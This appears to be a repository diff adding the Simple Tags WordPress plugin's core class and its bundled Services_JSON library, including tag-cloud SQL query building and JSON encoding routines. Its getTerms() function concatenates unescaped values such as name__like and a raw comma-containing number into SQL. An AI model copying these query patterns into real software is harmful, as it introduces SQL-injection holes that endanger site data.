+		return '#'.$r.$g.$b;
+	}
+
+	/**
+	 * Add page in tag search
+	 *
+	 * @param string $where
+	 * @return string
+	 */
+	function prepareQuery( $where ) {
+		if ( is_tag() ) {
+			$where = str_replace('post_type = \'post\'', 'post_type IN(\'page\', \'post\')', $where);
+		}
+		return $where;
+	}
+
+	/**
+	 * Reset to default options
+	 *
+	 */
+	function resetToDefaultOptions() {
+		update_option($this->db_options, $this->default_options);
+		$this->options = $this->default_options;
+	}
+
+	/**
+	 * Extended get_tags function that use getTerms function
+	 *
+	 * @param string $args
+	 * @return array
+	 */
+	function getTags( $args = '', $skip_cache = false, $taxonomy = 'post_tag', $internal_st = false ) {
+		if ( $skip_cache == true ) {
+			$terms = $this->getTerms( $taxonomy, $args, $skip_cache, $internal_st );
+		} else {
+			$key = md5(serialize($args.$taxonomy));
+			
+			// Get cache if exist
+			if ( $cache = wp_cache_get( 'st_get_tags', 'simpletags' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					return apply_filters('get_tags', $cache[$key], $args);
+				}
+			}
+
+			// Get tags
+			$terms = $this->getTerms( $taxonomy, $args, $skip_cache, $internal_st );
+			if ( empty($terms) ) {
+				return array();
+			}
+
+			$cache[$key] = $terms;
+			wp_cache_set( 'st_get_tags', $cache, 'simpletags' );
+		}
+
+		$terms = apply_filters('get_tags', $terms, $args);
+		return $terms;
+	}
+
+	/**
+	 * Extended get_terms function support
+	 * - Limit category
+	 * - Limit days
+	 * - Selection restrict
+	 * - Min usage
+	 *
+	 * @param string|array $taxonomies
+	 * @param string $args
+	 * @return array
+	 */
+	function getTerms( $taxonomies, $args = '', $skip_cache = false, $internal_st = false ) {
+		global $wpdb;
+		$empty_array = array();
+
+		$single_taxonomy = false;
+		if ( !is_array($taxonomies) ) {
+			$single_taxonomy = true;
+			$taxonomies = array($taxonomies);
+		}
+
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( ! is_taxonomy($taxonomy) )
+			return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+		}
+
+		$in_taxonomies = "'" . implode("', '", $taxonomies) . "'";
+
+		$defaults = array(
+			'orderby' => 'name',
+			'order' => 'ASC',
+			'cloud_selection' => 'count-desc',
+			'hide_empty' => true,
+			'exclude' => '',
+			'include' => '',
+			'number' => '',
+			'fields' => 'all',
+			'slug' => '',
+			'parent' => '',
+			'hierarchical' => true,
+			'child_of' => 0,
+			'get' => '',
+			'name__like' => '',
+			'st_name_like' => '',
+			'pad_counts' => false,
+			'offset' => '',
+			'search' => '',
+			'limit_days' => 0,
+			'category' => 0,
+			'min_usage' => 0
+		);
+
+		$args = wp_parse_args( $args, $defaults );
+		if ( $internal_st != true ) { // Allow limit :)
+			$args['number'] = absint( $args['number'] );
+		}
+		$args['offset'] = absint( $args['offset'] );
+		if ( !$single_taxonomy || !is_taxonomy_hierarchical($taxonomies[0]) || '' != $args['parent'] ) {
+			$args['child_of'] = 0;
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+
+		if ( 'all' == $args['get'] ) {
+			$args['child_of'] = 0;
+			$args['hide_empty'] = 0;
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+		extract($args, EXTR_SKIP);
+
+		if ( $child_of ) {
+			$hierarchy = _get_term_hierarchy($taxonomies[0]);
+			if ( !isset($hierarchy[$child_of]) )
+			return $empty_array;
+		}
+
+		if ( $parent ) {
+			$hierarchy = _get_term_hierarchy($taxonomies[0]);
+			if ( !isset($hierarchy[$parent]) )
+			return $empty_array;
+		}
+
+		if ( $skip_cache != true ) {
+			// Get cache if exist
+			$key = md5( serialize( $args ) . serialize( $taxonomies ) );
+			if ( $cache = wp_cache_get( 'get_terms', 'terms' ) ) {
+				if ( isset( $cache[$key] ) )
+				return apply_filters('get_terms', $cache[$key], $taxonomies, $args);
+			}
+		}
+
+		// Restrict category
+		$category_sql = '';
+		if ( !empty($category) && $category != '0' ) {
+			$incategories = preg_split('/[\s,]+/', $category);
+
+			$objects_id = get_objects_in_term( $incategories, 'category' );
+			$objects_id = array_unique ($objects_id); // to be sure haven't duplicates
+
+			if ( empty($objects_id) ) { // No posts for this category = no tags for this category
+				return array();
+			}
+
+			foreach ( (array) $objects_id as $object_id ) {
+				$category_sql .= "'". $object_id . "', ";
+			}
+
+			$category_sql = substr($category_sql, 0, strlen($category_sql) - 2); // Remove latest ", "
+			$category_sql = 'AND p.ID IN ('.$category_sql.')';
+		}
+
+		// count-asc/count-desc/name-asc/name-desc/random
+		$cloud_selection = strtolower($cloud_selection);
+		switch ( $cloud_selection ) {
+			case 'count-asc':
+				$order_by = 'tt.count ASC';
+				break;
+			case 'random':
+				$order_by = 'RAND()';
+				break;
+			case 'name-asc':
+				$order_by = 't.name ASC';
+				break;
+			case 'name-desc':
+				$order_by = 't.name DESC';
+				break;
+			default: // count-desc
+			$order_by = 'tt.count DESC';
+			break;
+		}
+
+		// Min usage
+		$restict_usage = '';
+		$min_usage = (int) $min_usage;
+		if ( $min_usage != 0 ) {
+			$restict_usage = ' AND tt.count >= '. $min_usage;
+		}
+
+		$where = '';
+		$inclusions = '';
+		if ( !empty($include) ) {
+			$exclude = '';
+			$interms = preg_split('/[\s,]+/',$include);
+			foreach ( (array) $interms as $interm ) {
+				if (empty($inclusions)) {
+					$inclusions = ' AND ( t.term_id = ' . intval($interm) . ' ';
+				} else {
+					$inclusions .= ' OR t.term_id = ' . intval($interm) . ' ';
+				}
+			}
+		}
+
+		if ( !empty($inclusions) ) {
+			$inclusions .= ')';
+		}
+		$where .= $inclusions;
+
+		$exclusions = '';
+		if ( !empty($exclude) ) {
+			$exterms = preg_split('/[\s,]+/',$exclude);
+			foreach ( (array) $exterms as $exterm ) {
+				if (empty($exclusions)) {
+					$exclusions = ' AND ( t.term_id <> ' . intval($exterm) . ' ';
+				} else {
+					$exclusions .= ' AND t.term_id <> ' . intval($exterm) . ' ';
+				}
+			}
+		}
+
+		if ( !empty($exclusions) ) {
+			$exclusions .= ')';
+		}
+		$exclusions = apply_filters('list_terms_exclusions', $exclusions, $args );
+		$where .= $exclusions;
+
+		if ( !empty($slug) ) {
+			$slug = sanitize_title($slug);
+			$where .= " AND t.slug = '$slug'";
+		}
+
+		if ( !empty($name__like) ) {
+			$where .= " AND t.name LIKE '{$name__like}%'";
+		}
+
+		if ( strpos($st_name_like, ' ') != false || strpos($st_name_like, ' ') != null ) {
+			$tmp = '';
+			$sts = explode(' ', $st_name_like);
+			foreach ( (array) $sts as $st ) {
+				if ( empty($st) )
+				continue;
+
+				$st = addslashes_gpc($st);
+				$tmp .= " t.name LIKE '%{$st}%' OR ";
+			}
+			// Remove latest OR
+			$tmp = substr( $tmp, 0, strlen($tmp) - 4);
+
+			$where .= " AND ( $tmp ) ";
+			unset($tmp)	;
+		} elseif ( !empty($st_name_like) ) {
+			$where .= " AND t.name LIKE '%{$st_name_like}%'";
+		}
+
+		if ( '' != $parent ) {
+			$parent = (int) $parent;
+			$where .= " AND tt.parent = '$parent'";
+		}
+
+		if ( $hide_empty && !$hierarchical ) {
+			$where .= ' AND tt.count > 0';
+		}
+
+		$number_sql = '';
+		if ( strpos($number, ',') != false || strpos($number, ',') != null ) {
+			$number_sql = $number;
+		} else {
+			$number = (int) $number;
+			if ( $number != 0 ) {
+				$number_sql = 'LIMIT ' . $number;
+			}
+		}
+
+		if ( !empty($search) ) {
+			$search = like_escape($search);
+			$where .= " AND (t.name LIKE '%$search%')";
+		}
+
+		$select_this = '';
+
+		if ( 'all' == $fields ) {
+			$select_this = 't.*, tt.*';
+		} else if ( 'ids' == $fields ) {
+			$select_this = 't.term_id';
+		} else if ( 'names' == $fields ) {
+			$select_this = 't.name';
+		}
+
+		// Limit posts date
+		$limitdays_sql = '';
+		$limit_days = (int) $limit_days;
+		if ( $limit_days != 0 ) {
+			$limitdays_sql = 'AND p.post_date_gmt > "' .date( 'Y-m-d H:i:s', time() - $limit_days * 86400 ). '"';
+		}
+
+		$query = "SELECT {$select_this}
+			FROM {$wpdb->terms} AS t
+			INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+			INNER JOIN {$wpdb->term_relationships} AS tr ON tt.term_taxonomy_id = tr.term_taxonomy_id
+			INNER JOIN {$wpdb->posts} AS p ON tr.object_id = p.ID
+			WHERE tt.taxonomy IN ( {$in_taxonomies} )
+			AND p.post_date_gmt < '".current_time('mysql')."'
+			{$limitdays_sql}
+			{$category_sql}
+			{$where}
+			{$restict_usage}
+			GROUP BY t.term_id
+			ORDER BY {$order_by}
+			{$number_sql}";
+		
+		if ( 'all' == $fields ) {
+			$terms = $wpdb->get_results($query);
+			if ( $skip_cache != true ) {
+				update_term_cache($terms);
+			}
+		} else if ( ('ids' == $fields) || ('names' == $fields) ) {
+			$terms = $wpdb->get_col($query);
+		}
+
+		if ( empty($terms) ) {
+			$cache[ $key ] = array();
+			wp_cache_set( 'get_terms', $cache, 'terms' );
+			return apply_filters('get_terms', array(), $taxonomies, $args);
+		}
+
+		if ( $child_of || $hierarchical ) {
+			$children = _get_term_hierarchy($taxonomies[0]);
+			if ( ! empty($children) ) {
+				$terms = & _get_term_children($child_of, $terms, $taxonomies[0]);
+			}
+		}
+
+		// Update term counts to include children.
+		if ( $pad_counts )
+		_pad_term_counts($terms, $taxonomies[0]);
+
+		// Make sure we show empty categories that have children.
+		if ( $hierarchical && $hide_empty ) {
+			foreach ( $terms as $k => $term ) {
+				if ( ! $term->count ) {
+					$children = _get_term_children($term->term_id, $terms, $taxonomies[0]);
+					foreach ( $children as $child )
+					if ( $child->count )
+					continue 2;
+
+					// It really is empty
+					unset($terms[$k]);
+				}
+			}
+		}
+		reset($terms);
+
+		if ( $skip_cache != true ) {
+			$cache[$key] = $terms;
+			wp_cache_set( 'get_terms', $cache, 'terms' );
+		}
+
+		$terms = apply_filters('get_terms', $terms, $taxonomies, $args);
+		return $terms;
+	}
+
+	/**
+	 * Format data for output
+	 *
+	 * @param string $html_class
+	 * @param string $format
+	 * @param string $title
+	 * @param string $content
+	 * @param boolean $copyright
+	 * @param string $separator
+	 * @return string|array
+	 */
+	function outputContent( $html_class= '', $format = 'list', $title = '', $content = '', $copyright = true, $separator = '' ) {
+		if ( empty($content) ) {
+			return ''; // return nothing
+		}
+
+		if ( $format == 'array' && is_array($content) ) {
+			return $content; // Return PHP array if format is array
+		}
+
+		if ( is_array($content) ) {
+			switch ( $format ) {
+				case 'list' :
+					$output = '<ul class="'.$html_class.'">'. "\n\t".'<li>' . implode("</li>\n\t<li>", $content) . "</li>\n</ul>\n";
+					break;
+				default :
+					$output = '<div class="'.$html_class.'">'. "\n\t" . implode("{$separator}\n", $content) . "</div>\n";
+					break;
+			}
+		} else {
+			$content = trim($content);
+			switch ( $format ) {
+				case 'string' :
+					$output = $content;
+					break;
+				case 'list' :
+					$output = '<ul class="'.$html_class.'">'. "\n\t" . '<li>'.$content."</li>\n\t" . "</ul>\n";
+					break;
+				default :
+					$output = '<div class="'.$html_class.'">'. "\n\t" . $content . "</div>\n";
+					break;
+			}
+		}
+
+		// Replace false by empty
+		$title = trim($title);
+		if ( strtolower($title) == 'false' ) {
+			$title = '';
+		}
+
+		// Put title if exist
+		if ( !empty($title) ) {
+			$title .= "\n\t";
+		}
+
+		if ( $copyright === true )
+		return "\n" . '<!-- Generated by Simple Tags ' . $this->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". $title . $output. "\n";
+		else
+		return "\n\t". $title . $output. "\n";
+	}
+
+	/**
+	 * Test if local installation is mu-plugin or a classic plugin
+	 *
+	 * @return boolean
+	 */
+	function isMuPlugin() {
+		if ( strpos(dirname(__FILE__), 'mu-plugins') ) {
+			return true;
+		}
+		return false;
+	}
+	
+	/**
+	 * Update taxonomy counter for post AND page
+	 *
+	 * @param array $terms
+	 */
+	function _update_post_and_page_term_count( $terms ) {
+		global $wpdb;
+		foreach ( (array) $terms as $term ) {
+			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type IN ('page', 'post') AND term_taxonomy_id = %d", $term ) );
+			$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+		}
+		return true;
+	}
+}
+
+
+// Init ST
+global $simple_tags;
+function st_init() {
+	global $simple_tags;
+	$simple_tags = new SimpleTags();
+	
+	// Admin and XML-RPC
+	if ( is_admin() || ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) ) {
+		require(dirname(__FILE__).'/inc/simple-tags.admin.php');
+		$simple_tags_admin = new SimpleTagsAdmin( $simple_tags->default_options, $simple_tags->version, $simple_tags->info );
+
+		// Installation
+		register_activation_hook(__FILE__, array(&$simple_tags_admin, 'installSimpleTags') );
+	}
+
+	// Templates functions
+	require(dirname(__FILE__).'/inc/simple-tags.functions.php');
+
+	// Widgets
+	require(dirname(__FILE__).'/inc/simple-tags.widgets.php');
+}
+add_action('plugins_loaded', 'st_init');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/class/JSON.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/class/JSON.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/class/JSON.php	(revision 44)
@@ -0,0 +1,826 @@
+<?php
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+
+/**
+ * Converts to and from JSON format.
+ *
+ * JSON (JavaScript Object Notation) is a lightweight data-interchange
+ * format. It is easy for humans to read and write. It is easy for machines
+ * to parse and generate. It is based on a subset of the JavaScript
+ * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
+ * This feature can also be found in  Python. JSON is a text format that is
+ * completely language independent but uses conventions that are familiar
+ * to programmers of the C-family of languages, including C, C++, C#, Java,
+ * JavaScript, Perl, TCL, and many others. These properties make JSON an
+ * ideal data-interchange language.
+ *
+ * This package provides a simple encoder and decoder for JSON notation. It
+ * is intended for use with client-side Javascript applications that make
+ * use of HTTPRequest to perform server communication functions - data can
+ * be encoded into JSON notation for use in a client-side javascript, or
+ * decoded from incoming Javascript requests. JSON format is native to
+ * Javascript, and can be directly eval()'ed with no further parsing
+ * overhead
+ *
+ * All strings should be in ASCII or UTF-8 format!
+ *
+ * LICENSE: Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met: Redistributions of source code must retain the
+ * above copyright notice, this list of conditions and the following
+ * disclaimer. Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * @category
+ * @package     Services_JSON
+ * @author      Michal Migurski <mike-json@teczno.com>
+ * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
+ * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
+ * @copyright   2005 Michal Migurski
+ * @version     CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $
+ * @license     http://www.opensource.org/licenses/bsd-license.php
+ * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
+ */
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_SLICE',   1);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_STR',  2);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_ARR',  3);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_OBJ',  4);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_CMT', 5);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_LOOSE_TYPE', 16);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
+
+/**
+ * Converts to and from JSON format.
+ *
+ * Brief example of use:
+ *
+ * <code>
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ * </code>
+ */
+if ( !class_exists('Services_JSON') ) :
+class Services_JSON
+{
+   /**
+    * constructs a new JSON instance
+    *
+    * @param    int     $use    object behavior flags; combine with boolean-OR
+    *
+    *                           possible values:
+    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
+    *                                   "{...}" syntax creates associative arrays
+    *                                   instead of objects in decode().
+    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
+    *                                   Values which can't be encoded (e.g. resources)
+    *                                   appear as NULL instead of throwing errors.
+    *                                   By default, a deeply-nested resource will
+    *                                   bubble up with an error, so all return values
+    *                                   from encode() should be checked with isError()
+    */
+    function Services_JSON($use = 0)
+    {
+        $this->use = $use;
+    }
+
+   /**
+    * convert a string from one UTF-16 char to one UTF-8 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf16  UTF-16 character
+    * @return   string  UTF-8 character
+    * @access   private
+    */
+    function utf162utf8($utf16)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+        }
+
+        $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+        switch(true) {
+            case ((0x7F & $bytes) == $bytes):
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x7F & $bytes);
+
+            case (0x07FF & $bytes) == $bytes:
+                // return a 2-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xC0 | (($bytes >> 6) & 0x1F))
+                     . chr(0x80 | ($bytes & 0x3F));
+
+            case (0xFFFF & $bytes) == $bytes:
+                // return a 3-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xE0 | (($bytes >> 12) & 0x0F))
+                     . chr(0x80 | (($bytes >> 6) & 0x3F))
+                     . chr(0x80 | ($bytes & 0x3F));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * convert a string from one UTF-8 char to one UTF-16 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf8   UTF-8 character
+    * @return   string  UTF-16 character
+    * @access   private
+    */
+    function utf82utf16($utf8)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+        }
+
+        switch(strlen($utf8)) {
+            case 1:
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return $utf8;
+
+            case 2:
+                // return a UTF-16 character from a 2-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x07 & (ord($utf8{0}) >> 2))
+                     . chr((0xC0 & (ord($utf8{0}) << 6))
+                         | (0x3F & ord($utf8{1})));
+
+            case 3:
+                // return a UTF-16 character from a 3-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr((0xF0 & (ord($utf8{0}) << 4))
+                         | (0x0F & (ord($utf8{1}) >> 2)))
+                     . chr((0xC0 & (ord($utf8{1}) << 6))
+                         | (0x7F & ord($utf8{2})));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * encodes an arbitrary variable into JSON format
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encode($var)
+    {
+        switch (gettype($var)) {
+            case 'boolean':
+                return $var ? 'true' : 'false';
+
+            case 'NULL':
+                return 'null';
+
+            case 'integer':
+                return (int) $var;
+
+            case 'double':
+            case 'float':
+                return (float) $var;
+
+            case 'string':
+                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+                $ascii = '';
+                $strlen_var = strlen($var);
+
+               /*
+                * Iterate over every character in the string,
+                * escaping with a slash or encoding to UTF-8 where necessary
+                */
+                for ($c = 0; $c < $strlen_var; ++$c) {
+
+                    $ord_var_c = ord($var{$c});
+
+                    switch (true) {
+                        case $ord_var_c == 0x08:
+                            $ascii .= '\b';
+                            break;
+                        case $ord_var_c == 0x09:
+                            $ascii .= '\t';
+                            break;
+                        case $ord_var_c == 0x0A:
+                            $ascii .= '\n';
+                            break;
+                        case $ord_var_c == 0x0C:
+                            $ascii .= '\f';
+                            break;
+                        case $ord_var_c == 0x0D:
+                            $ascii .= '\r';
+                            break;
+
+                        case $ord_var_c == 0x22:
+                        case $ord_var_c == 0x2F:
+                        case $ord_var_c == 0x5C:
+                            // double quote, slash, slosh
+                            $ascii .= '\\'.$var{$c};
+                            break;
+
+                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+                            // characters U-00000000 - U-0000007F (same as ASCII)
+                            $ascii .= $var{$c};
+                            break;
+
+                        case (($ord_var_c & 0xE0) == 0xC0):
+                            // characters U-00000080 - U-000007FF, mask 110XXXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+                            $c += 1;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF0) == 0xE0):
+                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}));
+                            $c += 2;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF8) == 0xF0):
+                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}));
+                            $c += 3;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFC) == 0xF8):
+                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}));
+                            $c += 4;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFE) == 0xFC):
+                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}),
+                                         ord($var{$c + 5}));
+                            $c += 5;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+                    }
+                }
+
+                return '"'.$ascii.'"';
+
+            case 'array':
+               /*
+                * As per JSON spec if any array key is not an integer
+                * we must treat the the whole array as an object. We
+                * also try to catch a sparsely populated associative
+                * array with numeric keys here because some JS engines
+                * will create an array with empty indexes up to
+                * max_index which can cause memory issues and because
+                * the keys, which may be relevant, will be remapped
+                * otherwise.
+                *
+                * As per the ECMA and JSON specification an object may
+                * have any string as a property. Unfortunately due to
+                * a hole in the ECMA specification if the key is a
+                * ECMA reserved word or starts with a digit the
+                * parameter is only accessible using ECMAScript's
+                * bracket notation.
+                */
+
+                // treat as a JSON object
+                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+                    $properties = array_map(array($this, 'name_value'),
+                                            array_keys($var),
+                                            array_values($var));
+
+                    foreach($properties as $property) {
+                        if(Services_JSON::isError($property)) {
+                            return $property;
+                        }
+                    }
+
+                    return '{' . join(',', $properties) . '}';
+                }
+
+                // treat it like a regular array
+                $elements = array_map(array($this, 'encode'), $var);
+
+                foreach($elements as $element) {
+                    if(Services_JSON::isError($element)) {
+                        return $element;
+                    }
+                }
+
+                return '[' . join(',', $elements) . ']';
+
+            case 'object':
+                $vars = get_object_vars($var);
+
+                $properties = array_map(array($this, 'name_value'),
+                                        array_keys($vars),
+                                        array_values($vars));
+
+                foreach($properties as $property) {
+                    if(Services_JSON::isError($property)) {
+                        return $property;
+                    }
+                }
+
+                return '{' . join(',', $properties) . '}';
+
+            default:
+                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                    ? 'null'
+                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+        }
+    }
+
+   /**
+    * array-walking function for use in generating JSON-formatted name-value pairs
+    *
+    * @param    string  $name   name of key to use
+    * @param    mixed   $value  reference to an array element to be encoded
+    *
+    * @return   string  JSON-formatted name-value pair, like '"name":value'
+    * @access   private
+    */
+    function name_value($name, $value)
+    {
+        $encoded_value = $this->encode($value);
+
+        if(Services_JSON::isError($encoded_value)) {
+            return $encoded_value;
+        }
+
+        return $this->encode(strval($name)) . ':' . $encoded_value;
+    }
+
+   /**
+    * reduce a string by removing leading and trailing comments and whitespace
+    *
+    * @param    $str    string      string value to strip of comments and whitespace
+    *
+    * @return   string  string value stripped of comments and whitespace
+    * @access   private
+    */
+    function reduce_string($str)
+    {
+        $str = preg_replace(array(
+
+                // eliminate single line comments in '// ...' form
+                '#^\s*//(.+)$#m',
+
+                // eliminate multi-line comments in '/* ... */' form, at start of string
+                '#^\s*/\*(.+)\*/#Us',
+
+                // eliminate multi-line comments in '/* ... */' form, at end of string
+                '#/\*(.+)\*/\s*$#Us'
+
+            ), '', $str);
+
+        // eliminate extraneous space
+        return trim($str);
+    }
+
+   /**
+    * decodes a JSON string into appropriate variable
+    *
+    * @param    string  $str    JSON-formatted string
+    *
+    * @return   mixed   number, boolean, string, array, or object
+    *                   corresponding to given JSON input string.
+    *                   See argument 1 to Services_JSON() above for object-output behavior.
+    *                   Note that decode() always returns strings
+    *                   in ASCII or UTF-8 format!
+    * @access   public
+    */
+    function decode($str)
+    {
+        $str = $this->reduce_string($str);
+
+        switch (strtolower($str)) {
+            case 'true':
+                return true;
+
+            case 'false':
+                return false;
+
+            case 'null':
+                return null;
+
+            default:
+                $m = array();
+
+                if (is_numeric($str)) {
+                    // Lookie-loo, it's a number
+
+                    // This would work on its own, but I'm trying to be
+                    // good about returning integers where appropriate:
+                    // return (float)$str;
+
+                    // Return float or int, as appropriate
+                    return ((float)$str == (integer)$str)
+                        ? (integer)$str
+                        : (float)$str;
+
+                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+                    // STRINGS RETURNED IN UTF-8 FORMAT
+                    $delim = substr($str, 0, 1);
+                    $chrs = substr($str, 1, -1);
+                    $utf8 = '';
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+                        $ord_chrs_c = ord($chrs{$c});
+
+                        switch (true) {
+                            case $substr_chrs_c_2 == '\b':
+                                $utf8 .= chr(0x08);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\t':
+                                $utf8 .= chr(0x09);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\n':
+                                $utf8 .= chr(0x0A);
